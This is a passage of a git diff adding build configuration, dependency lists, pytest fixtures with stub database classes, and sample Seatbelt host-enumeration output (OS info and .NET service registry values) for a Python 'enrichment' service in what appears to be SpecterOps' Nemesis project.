"yarl-1.9.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b9a4e67ad7b646cd6f0938c7ebfd60e481b7410f574c560e455e938d2da8e0f4"}, + {file = "yarl-1.9.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:83fcc480d7549ccebe9415d96d9263e2d4226798c37ebd18c930fce43dfb9574"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5fcd436ea16fee7d4207c045b1e340020e58a2597301cfbcfdbe5abd2356c2fb"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:84e0b1599334b1e1478db01b756e55937d4614f8654311eb26012091be109d59"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3458a24e4ea3fd8930e934c129b676c27452e4ebda80fbe47b56d8c6c7a63a9e"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:838162460b3a08987546e881a2bfa573960bb559dfa739e7800ceeec92e64417"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f4e2d08f07a3d7d3e12549052eb5ad3eab1c349c53ac51c209a0e5991bbada78"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:de119f56f3c5f0e2fb4dee508531a32b069a5f2c6e827b272d1e0ff5ac040333"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:149ddea5abf329752ea5051b61bd6c1d979e13fbf122d3a1f9f0c8be6cb6f63c"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:674ca19cbee4a82c9f54e0d1eee28116e63bc6fd1e96c43031d11cbab8b2afd5"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:9b3152f2f5677b997ae6c804b73da05a39daa6a9e85a512e0e6823d81cdad7cc"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:5415d5a4b080dc9612b1b63cba008db84e908b95848369aa1da3686ae27b6d2b"}, + {file = "yarl-1.9.2-cp38-cp38-win32.whl", hash = "sha256:f7a3d8146575e08c29ed1cd287068e6d02f1c7bdff8970db96683b9591b86ee7"}, + {file = "yarl-1.9.2-cp38-cp38-win_amd64.whl", hash = "sha256:63c48f6cef34e6319a74c727376e95626f84ea091f92c0250a98e53e62c77c72"}, + {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:75df5ef94c3fdc393c6b19d80e6ef1ecc9ae2f4263c09cacb178d871c02a5ba9"}, + {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c027a6e96ef77d401d8d5a5c8d6bc478e8042f1e448272e8d9752cb0aff8b5c8"}, + {file = "yarl-1.9.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3b078dbe227f79be488ffcfc7a9edb3409d018e0952cf13f15fd6512847f3f7"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59723a029760079b7d991a401386390c4be5bfec1e7dd83e25a6a0881859e716"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b03917871bf859a81ccb180c9a2e6c1e04d2f6a51d953e6a5cdd70c93d4e5a2a"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c1012fa63eb6c032f3ce5d2171c267992ae0c00b9e164efe4d73db818465fac3"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a74dcbfe780e62f4b5a062714576f16c2f3493a0394e555ab141bf0d746bb955"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8c56986609b057b4839968ba901944af91b8e92f1725d1a2d77cbac6972b9ed1"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:2c315df3293cd521033533d242d15eab26583360b58f7ee5d9565f15fee1bef4"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:b7232f8dfbd225d57340e441d8caf8652a6acd06b389ea2d3222b8bc89cbfca6"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:53338749febd28935d55b41bf0bcc79d634881195a39f6b2f767870b72514caf"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:066c163aec9d3d073dc9ffe5dd3ad05069bcb03fcaab8d221290ba99f9f69ee3"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8288d7cd28f8119b07dd49b7230d6b4562f9b61ee9a4ab02221060d21136be80"}, + {file = "yarl-1.9.2-cp39-cp39-win32.whl", hash = "sha256:b124e2a6d223b65ba8768d5706d103280914d61f5cae3afbc50fc3dfcc016623"}, + {file = "yarl-1.9.2-cp39-cp39-win_amd64.whl", hash = "sha256:61016e7d582bc46a5378ffdd02cd0314fb8ba52f40f9cf4d9a5e7dbef88dee18"}, + {file = "yarl-1.9.2.tar.gz", hash = "sha256:04ab9d4b9f587c06d801c2abfe9317b77cdf996c65a90d5e84ecc45010823571"}, +] + +[package.dependencies] +idna = ">=2.0" +multidict = ">=4.0" + +[metadata] +lock-version = "2.0" +python-versions = "^3.11.2" +content-hash = "d045e1dbc99dad52616a01c138c0827d00a28d879fdd3a22e1eca406e5709715" diff --git a/cmd/enrichment/poetry.toml b/cmd/enrichment/poetry.toml new file mode 100644 index 0000000..be97f1e --- /dev/null +++ b/cmd/enrichment/poetry.toml @@ -0,0 +1,3 @@ +[virtualenvs] +in-project = true +prefer-active-python = true \ No newline at end of file diff --git a/cmd/enrichment/pyproject.toml b/cmd/enrichment/pyproject.toml new file mode 100644 index 0000000..255b801 --- /dev/null +++ b/cmd/enrichment/pyproject.toml @@ -0,0 +1,100 @@ +[tool.poetry] +name = "enrichment" +version = "0.1.0" +description = "" +authors = ["SpecterOps "] +packages = [{ include = "enrichment" }] + +[tool.poetry.scripts] +app = "enrichment.__main__:main" + +[tool.poetry.dependencies] +python = "^3.11.2" +protobuf = "^4.21.5" +types-protobuf = "^3.20.0" +typing-extensions = "^4.4.0" +nemesispb = { path = "../../packages/python/nemesispb", develop = true } +nemesiscommon = { path = "../../packages/python/nemesiscommon", develop = true } +prometheus-async = { extras = ["aiohttp"], version = "^22.2.0" } +elasticsearch = "^8.6.2" +aiohttp = "^3.8.4" +httpx = "^0.23.3" +asyncpg = "^0.27.0" +winacl = "^0.1.7" +jsonlines = "^3.1.0" +aioboto3 = "^10.4.0" +impacket = "^0.10.0" +fastapi = "^0.82.0" +fastapi-class = "^2.0.0" +uvicorn = { extras = ["standard"], version = "^0.18.3" } +numpy = "^1.23.2" +python-magic = "^0.4.27" +pefile = "^2022.5.30" +dnfile = "^0.12.0" +yara-python = "^4.2.3" +sumy = "^0.10.0" +nltk = "^3.7" +olefile = "^0.46" +binaryornot = "^0.4.4" +lief = "^0.12.1" +py7zr = "^0.20.4" +pypdf = "^3.5.2" +colorama = "^0.4.6" +python-multipart = "^0.0.6" +rich = "^13.3.3" +structlog = "^23.1.0" +aiosqlite = "^0.19.0" +dependency-injector = "^4.41.0" +python-libarchive = "^4.2.1" +lnkparse3 = "^1.2.0" +pycryptodome = "^3.18.0" +python-registry = "^1.3.1" + +[tool.poetry.dev-dependencies] +pytest = "^7.1.2" +black = "^22.6.0" +flake8 = "^5.0.4" +mypy = "^0.971" + +[tool.poetry.group.dev.dependencies] +pytest-asyncio = "^0.20.3" +pytest-mock = "^3.10.0" +bandit = "^1.7.5" +pyright = "^1.1.302" +asyncpg-stubs = "^0.27.0" +flake8-cognitive-complexity = "^0.1.0" +debugpy = "^1.6.7" +watchdog = {extras = ["watchmedo"], version = "^3.0.0"} + +[build-system] +requires = ["poetry-core>=1.0.0"] +build-backend = "poetry.core.masonry.api" + +[tool.isort] +import_heading_stdlib = "Standard Libraries" +import_heading_firstparty = "Nemesis Libraries" +import_heading_thirdparty = "3rd Party Libraries" +profile = "black" +extra_standard_library = "asgiref" +known_first_party = "nemesis" +src_paths = ["isort", "test"] +line_length = 90 +use_parentheses = true +multi_line_output = 3 +include_trailing_comma = true +ensure_newline_before_comments = true +sections = [ + "FUTURE", + "STDLIB", + "DJANGO", + "THIRDPARTY", + "FIRSTPARTY", + "LOCALFOLDER", +] + +# [tool.pyright] +# Using pyrightconfig.json instead since pyproject.toml has 2nd class +# support in VS code: https://github.com/microsoft/pyright/issues/694#issuecomment-823778235 + +[tool.black] +line-length = 240 diff --git a/cmd/enrichment/pyrightconfig.json b/cmd/enrichment/pyrightconfig.json new file mode 100644 index 0000000..102e0c9 --- /dev/null +++ b/cmd/enrichment/pyrightconfig.json @@ -0,0 +1,40 @@ +{ + "include": [ + "**/*.py" + ], + "exclude": [ + "**/__pycache__/**", + "**/.git/objects/**", + "**/.git/subtree-cache/**", + "**/.hg/store/**", + "**/.ipynb_checkpoints/**", + "**/.mypy_cache/**", + "**/.pytest_cache/**", + "**/.venv/**", + "**/*.egg-info/**", + "**/build/**", + "**/dist/**", + "**/node_modules/*/**", + "enrichment/lib/ext_tools/*", + ], + "executionEnvironments": [ + { + "root": ".", + "pythonVersion": "3.11", + "extraPaths": [ + "../../packages/python/nemesiscommon", + "../../packages/python/nemesispb", + ] + }, + ], + "ignore": [ + "enrichment/lib/ext_tools" + ], + "pythonVersion": "3.11", + "reportMissingImports": true, + "reportMissingTypeStubs": false, + "typeCheckingMode": "basic", + "useLibraryCodeForTypes": true, + "venvPath": ".", + "venv": ".venv" +} \ No newline at end of file diff --git a/cmd/enrichment/pytest.ini b/cmd/enrichment/pytest.ini new file mode 100644 index 0000000..a318d22 --- /dev/null +++ b/cmd/enrichment/pytest.ini @@ -0,0 +1,6 @@ +[pytest] +minversion = 6.0 +asyncio_mode = auto +addopts = -ra -q +testpaths = + tests diff --git a/cmd/enrichment/tests/__init__.py b/cmd/enrichment/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/cmd/enrichment/tests/conftest.py b/cmd/enrichment/tests/conftest.py new file mode 100644 index 0000000..ffa626c --- /dev/null +++ b/cmd/enrichment/tests/conftest.py @@ -0,0 +1,51 @@ +# Standard Libraries +from functools import cache +from unittest.mock import MagicMock, mock_open + +# 3rd Party Libraries +import pytest +from pytest_mock import MockerFixture + + +@pytest.fixture(autouse=True) +def change_test_dir(request, monkeypatch): + monkeypatch.chdir(request.fspath.dirname) + + +# Source: https://stackoverflow.com/questions/1289894/how-do-i-mock-an-open-used-in-a-with-statement-using-the-mock-framework-in-pyth +class FileMock(MagicMock): + def __init__(self, mocker: MagicMock, **kwargs): + super().__init__(**kwargs) + + if mocker: + self.__dict__ = mocker.__dict__ + # configure mock object to replace the use of open(...) + # note: this is useful in scenarios where data is written out + _ = mock_open(mock=self) + + @property + def read_data(self): + return self.side_effect + + @read_data.setter + def read_data(self, mock_data: str): + """set mock data to be returned when `open(...).read()` is called.""" + self.side_effect = mock_open(read_data=mock_data) + + @property + @cache + def write_calls(self): + """a list of calls made to `open().write(...)`""" + handle = self.return_value + write: MagicMock = handle.write + return write.call_args_list + + @property + def write_lines(self) -> str: + """a list of written lines (as a string)""" + return "".join([c[0][0] for c in self.write_calls]) + + +@pytest.fixture +def mock_file_open(mocker: MockerFixture) -> FileMock: + return FileMock(mocker.patch("builtins.open")) diff --git a/cmd/enrichment/tests/services/__init__.py b/cmd/enrichment/tests/services/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/cmd/enrichment/tests/services/postgres_connector/__init__.py b/cmd/enrichment/tests/services/postgres_connector/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/cmd/enrichment/tests/services/postgres_connector/conftest.py b/cmd/enrichment/tests/services/postgres_connector/conftest.py new file mode 100644 index 0000000..d606355 --- /dev/null +++ b/cmd/enrichment/tests/services/postgres_connector/conftest.py @@ -0,0 +1,87 @@ +# Standard Libraries +import logging +from types import TracebackType +from typing import Optional, Type, Union + +# 3rd Party Libraries +import nemesispb.nemesis_pb2 as pb +import pytest +import structlog +from enrichment.lib.nemesis_db import ( + AuthenticationData, + DpapiBlob, + ExtractedHash, + NemesisDbInterface, + Project, + RegistryObject, + ServiceColumn, +) +from nemesiscommon.messaging import MessageQueueProducerInterface + + +class MockNemesisDb(NemesisDbInterface): + async def add_project(self, project: Project) -> None: + pass + + async def add_authentication_data(self, auth_data: AuthenticationData) -> None: + pass + + async def add_extracted_hash(self, auth_data: ExtractedHash) -> None: + pass + + async def add_dpapi_blob(self, dpapi_blob: DpapiBlob) -> None: + pass + + async def add_registry_object(self, registry_object: RegistryObject) -> None: + pass + + async def add_service(self, metadata: pb.Metadata, service_name: str) -> None: + pass + + async def add_service_property(self, metadata: pb.Metadata, service_name: str, value_name: str, value: Union[int, str]) -> None: + pass + + async def add_host_info(self, os_info) -> None: + pass + + async def add_filesystem_object(self, file_info) -> None: + pass + + +class MockMessageProducer(MessageQueueProducerInterface): + message_count = 0 + + async def Send(self, message: bytes) -> None: + self.message_count += 1 + pass + + async def Close(self) -> None: + pass + + async def __aenter__(self): + pass + + async def __aexit__( + self, + exc_type: Optional[Type[BaseException]], + exc_val: Optional[BaseException], + exc_tb: Optional[TracebackType], + ) -> None: + pass + + +@pytest.fixture +def nemesis_db() -> MockNemesisDb: + return MockNemesisDb() + + +@pytest.fixture +def message_producer() -> MockMessageProducer: + return MockMessageProducer() + + +@pytest.fixture +def logger() -> logging.Logger: + log = logging.getLogger("test") + log.addHandler(logging.NullHandler()) + return log diff --git a/cmd/enrichment/tests/services/postgres_connector/data/fileinfo.ndjson b/cmd/enrichment/tests/services/postgres_connector/data/fileinfo.ndjson new file mode 100644 index 0000000..4997439 --- /dev/null +++ b/cmd/enrichment/tests/services/postgres_connector/data/fileinfo.ndjson @@ -0,0 +1 @@ +{"Type":"Seatbelt.Commands.Windows.FileInfoDTO","Data":{"Comments":null,"CompanyName":null,"FileDescription":null,"FileName":"C:\\Windows\\win.ini","FileVersion":null,"InternalName":null,"IsDebug":false,"IsDotNet":false,"IsPatched":false,"IsPreRelease":false,"IsPrivateBuild":false,"IsSpecialBuild":false,"Language":null,"LegalCopyright":null,"LegalTrademarks":null,"OriginalFilename":null,"PrivateBuild":null,"ProductName":null,"ProductVersion":null,"SpecialBuild":null,"Attributes":32,"CreationTimeUtc":"\/Date(1651900411539)\/","LastAccessTimeUtc":"\/Date(1673040385781)\/","LastWriteTimeUtc":"\/Date(1651900356098)\/","Length":92,"SDDL":"O:SYD:(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)"}} \ No newline at end of file diff --git a/cmd/enrichment/tests/services/postgres_connector/data/osinfo.ndjson b/cmd/enrichment/tests/services/postgres_connector/data/osinfo.ndjson new file mode 100644 index 0000000..49abe3d --- /dev/null +++ b/cmd/enrichment/tests/services/postgres_connector/data/osinfo.ndjson @@ -0,0 +1 @@ +{"Type":"Seatbelt.Commands.Windows.OSInfoDTO","Data":{"InputLanguage":"US","InstalledInputLanguages":["US"],"Hostname":"4182bc05-025c-40e3-a683-7f2c21fee4be","Domain":"","Username":"4182BC05-025C-4\\WDAGUtilityAccount","ProductName":"Windows 10 Enterprise","EditionId":"Enterprise","ReleaseId":"2009","Build":"22621.1105","BuildBranch":"ni_release","CurrentMajorVersionNumber":"10","CurrentVersion":"6.3","Architecture":"AMD64","ProcessorCount":"20","IsVirtualMachine":true,"BootTimeUtc":"\/Date(1677783926282)\/","IsHighIntegrity":true,"IsLocalAdmin":true,"CurrentTimeUtc":"\/Date(1677784078907)\/","TimeZone":"Pacific Standard Time","TimeZoneUtcOffset":"-08:00:00","Locale":"en-US","MachineGuid":"bf2687c7-7be3-421c-a83d-0571cc4dbfdd"}} \ No newline at end of file diff --git a/cmd/enrichment/tests/services/postgres_connector/data/registryvalue_services.ndjson b/cmd/enrichment/tests/services/postgres_connector/data/registryvalue_services.ndjson new file mode 100644 index 0000000..80ecb8a --- /dev/null +++ b/cmd/enrichment/tests/services/postgres_connector/data/registryvalue_services.ndjson @@ -0,0 +1,41 @@ +{"Type":"Seatbelt.Commands.HostDTO","Data":{"Message":"====== reg ======\n"}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Linkage","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Linkage","ValueName":"Export","Value":"2e,00,4e,00,45,00,54,00,20,00,43,00,4c,00,52,00,20,00,44,00,61,00,74,00,61,00,00,00,00,00","ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Close","Value":"ClosePerformanceData","ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Collect","Value":"CollectPerformanceData","ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Counter Names","Value":[83,0,113,0,108,0,67,0,108,0,105,0,101,0,110,0,116,0,58,0,32,0,67,0,117,0,114,0,114,0,101,0,110,0,116,0,32,0,35,0,32,0,112,0,111,0,111,0,108,0,101,0,100,0,32,0,97,0,110,0,100,0,32,0,110,0,111,0,110,0,112,0,111,0,111,0,108,0,101,0,100,0,32,0,99,0,111,0,110,0,110,0,101,0,99,0,116,0,105,0,111,0,110,0,115,0,0,0,83,0,113,0,108,0,67,0,108,0,105,0,101,0,110,0,116,0,58,0,32,0,67,0,117,0,114,0,114,0,101,0,110,0,116,0,32,0,35,0,32,0,112,0,111,0,111,0,108,0,101,0,100,0,32,0,99,0,111,0,110,0,110,0,101,0,99,0,116,0,105,0,111,0,110,0,115,0,0,0,83,0,113,0,108,0,67,0,108,0,105,0,101,0,110,0,116,0,58,0,32,0,67,0,117,0,114,0,114,0,101,0,110,0,116,0,32,0,35,0,32,0,99,0,111,0,110,0,110,0,101,0,99,0,116,0,105,0,111,0,110,0,32,0,112,0,111,0,111,0,108,0,115,0,0,0,83,0,113,0,108,0,67,0,108,0,105,0,101,0,110,0,116,0,58,0,32,0,80,0,101,0,97,0,107,0,32,0,35,0,32,0,112,0,111,0,111,0,108,0,101,0,100,0,32,0,99,0,111,0,110,0,110,0,101,0,99,0,116,0,105,0,111,0,110,0,115,0,0,0,83,0,113,0,108,0,67,0,108,0,105,0,101,0,110,0,116,0,58,0,32,0,84,0,111,0,116,0,97,0,108,0,32,0,35,0,32,0,102,0,97,0,105,0,108,0,101,0,100,0,32,0,99,0,111,0,110,0,110,0,101,0,99,0,116,0,115,0,0,0,83,0,113,0,108,0,67,0,108,0,105,0,101,0,110,0,116,0,58,0,32,0,84,0,111,0,116,0,97,0,108,0,32,0,35,0,32,0,102,0,97,0,105,0,108,0,101,0,100,0,32,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,115,0,0,0,0,0],"ValueKind":3,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Counter Types","Value":[54,0,53,0,53,0,51,0,54,0,0,0,54,0,53,0,53,0,51,0,54,0,0,0,54,0,53,0,53,0,51,0,54,0,0,0,54,0,53,0,53,0,51,0,54,0,0,0,54,0,53,0,53,0,51,0,54,0,0,0,54,0,53,0,53,0,51,0,54,0,0,0,0,0],"ValueKind":3,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Library","Value":"C:\\Windows\\system32\\netfxperf.dll","ValueKind":2,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Open","Value":"OpenPerformanceData","ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"InstallType","Value":1,"ValueKind":4,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"PerfIniFile","Value":"_DataPerfCounters_d.ini","ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"First Counter","Value":9184,"ValueKind":4,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Last Counter","Value":9196,"ValueKind":4,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"First Help","Value":9185,"ValueKind":4,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Last Help","Value":9197,"ValueKind":4,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Object List","Value":"9184","ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"CategoryOptions","Value":1,"ValueKind":4,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"IsMultiInstance","Value":1,"ValueKind":4,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Linkage","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Linkage","ValueName":"Export","Value":"2e,00,4e,00,45,00,54,00,20,00,43,00,4c,00,52,00,20,00,4e,00,65,00,74,00,77,00,6f,00,72,00,6b,00,69,00,6e,00,67,00,00,00,00,00","ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Close","Value":"ClosePerformanceData","ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Collect","Value":"CollectPerformanceData","ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Counter Names","Value":[67,0,111,0,110,0,110,0,101,0,99,0,116,0,105,0,111,0,110,0,115,0,32,0,69,0,115,0,116,0,97,0,98,0,108,0,105,0,115,0,104,0,101,0,100,0,0,0,66,0,121,0,116,0,101,0,115,0,32,0,82,0,101,0,99,0,101,0,105,0,118,0,101,0,100,0,0,0,66,0,121,0,116,0,101,0,115,0,32,0,83,0,101,0,110,0,116,0,0,0,68,0,97,0,116,0,97,0,103,0,114,0,97,0,109,0,115,0,32,0,82,0,101,0,99,0,101,0,105,0,118,0,101,0,100,0,0,0,68,0,97,0,116,0,97,0,103,0,114,0,97,0,109,0,115,0,32,0,83,0,101,0,110,0,116,0,0,0,0,0],"ValueKind":3,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Counter Types","Value":[54,0,53,0,53,0,51,0,54,0,0,0,54,0,53,0,55,0,57,0,50,0,0,0,54,0,53,0,55,0,57,0,50,0,0,0,54,0,53,0,53,0,51,0,54,0,0,0,54,0,53,0,53,0,51,0,54,0,0,0,0,0],"ValueKind":3,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Library","Value":"C:\\Windows\\system32\\netfxperf.dll","ValueKind":2,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Open","Value":"OpenPerformanceData","ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"InstallType","Value":1,"ValueKind":4,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"PerfIniFile","Value":"_Networkingperfcounters_v2_d.ini","ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"First Counter","Value":9132,"ValueKind":4,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Last Counter","Value":9142,"ValueKind":4,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"First Help","Value":9133,"ValueKind":4,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Last Help","Value":9143,"ValueKind":4,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Object List","Value":"9132","ValueKind":1,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"CategoryOptions","Value":3,"ValueKind":4,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"FileMappingSize","Value":131072,"ValueKind":4,"SDDL":""}} +{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR 